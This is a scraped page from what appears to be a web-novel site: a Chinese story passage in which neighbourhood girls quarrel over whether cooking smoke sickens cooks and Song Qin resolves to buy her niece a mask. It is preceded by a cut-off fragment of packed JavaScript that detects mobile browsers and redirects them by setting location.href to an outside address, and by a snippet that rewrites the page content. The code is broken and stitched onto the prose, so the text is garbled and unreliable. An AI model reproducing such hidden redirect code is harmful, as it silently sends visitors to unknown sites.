l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645659|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想讨我全家的打？” 梨姐儿顿时想起前两日李老娘才在巷子里大发神威的事儿，脸上一僵不说话了。 她姐姐贤姐儿见妹妹吃亏，心下一冷，脸上却笑得很温柔，道：“琴姐儿，你知道么，厨娘闻多了油烟很容易肺上得病，秀姐儿他爹以前就治过一个厨娘，小时也好看，但干了厨娘后不到三十身子就吹气似的胀起来，后来不仅走不动，肺上还得了病，等到一断气，七窍便流了许多污血，秀姐儿她爹说，这是内脏坏了。你可要把你侄女儿看好了。” 说完，不待人说话，便轻飘飘地带着妹妹回屋了。 这话看起来是在关心宋莺，但说的跟咒人似的，宋琴听了很不舒服。 秀姐儿更是气了个半死，骂了两句：“小老狗！狗嘴里吐不出象牙！”也不哭了，还不好意思地拉着宋琴往外跑，道：“我请你吃曹婆婆，你别和她们一般见识。” 宋琴虽然恨不得跳上去撕了两人的嘴，但不知怎么脑子里却一直转着贤姐儿的话，如此竟然让秀姐儿真的拽走了。 路上，宋琴忍不住问秀姐儿：“她说的厨娘的事，是真的吗？” 秀姐儿摇摇头，道：“没她说的那么严重，要是干了这个会生病，咱们县还会有那么多厨娘吗？” 宋琴反驳道：“不对，我还不愿意念书呢，如今不还每晚都在抄那鬼书吗？可能人家做厨娘是逼不得已的呢？比如我吧，我就不愿意，但我娘要是打我，我就得做了。” 秀姐儿听得脑子发晕，不知道琴姐儿说这个是什么意思。 宋琴也没有再问，而是低着脑袋自己想，眨眼两人走到了曹婆婆脚店，店门口她媳妇儿正在喊：“水晶圆子、红糖糕、酸辣粉、麻辣鸡爪——” 秀姐儿听得口水直流，曹婆婆看这两个猢狲就好笑，放了帕子过来，道：“你们今儿想吃什么？” 宋琴看看吃的，又想想宋莺，为难半天才问：“婆婆，是不是做饭的人真的很容易生病啊？” 曹婆婆的儿媳听了，觉得这话不吉利，还想说两句。 但曹婆婆是看着巷子里的猢狲长大的，她根本不在意这些话，还解释道：“姐儿说得不错，像婆婆我就是三十岁时犯了咳疾，那药汁子二十文一副，吃了多少年下去都不见好，要不是为了挣药钱，婆婆早关了这铺子养老去了。” 宋琴心里酸酸的，秀姐儿也觉得曹婆婆很可怜，于是在店里选了又选，又格外捡了两样吃的照顾她的生意，但问话的宋琴却破天荒地一件也没有挑。 秀姐儿怪了：“琴姐儿，我请客你都不挑，你病了吗？” 宋琴擦掉口水叹了口气道：“我不买吃的了，我要去绣庄。”路上她同秀姐儿解释：“你不知道，莺姐儿做那个饼子很费力，她说要省柴和油，所以烙贴经常贴近锅盯着饼子瞧，做饼做得都眼睛都快熟了还不停呢。” 虽然她不知道莺姐儿为什么要吃这个苦，但为了做好一件事冒着这么大得风险，宋琴还是想帮帮她的。 所以她想去绣庄问问，看他们有没有莺姐儿以前跟她说的那劳什子口罩，给她买一个回去戴在嘴上，叫她少吃点儿油烟。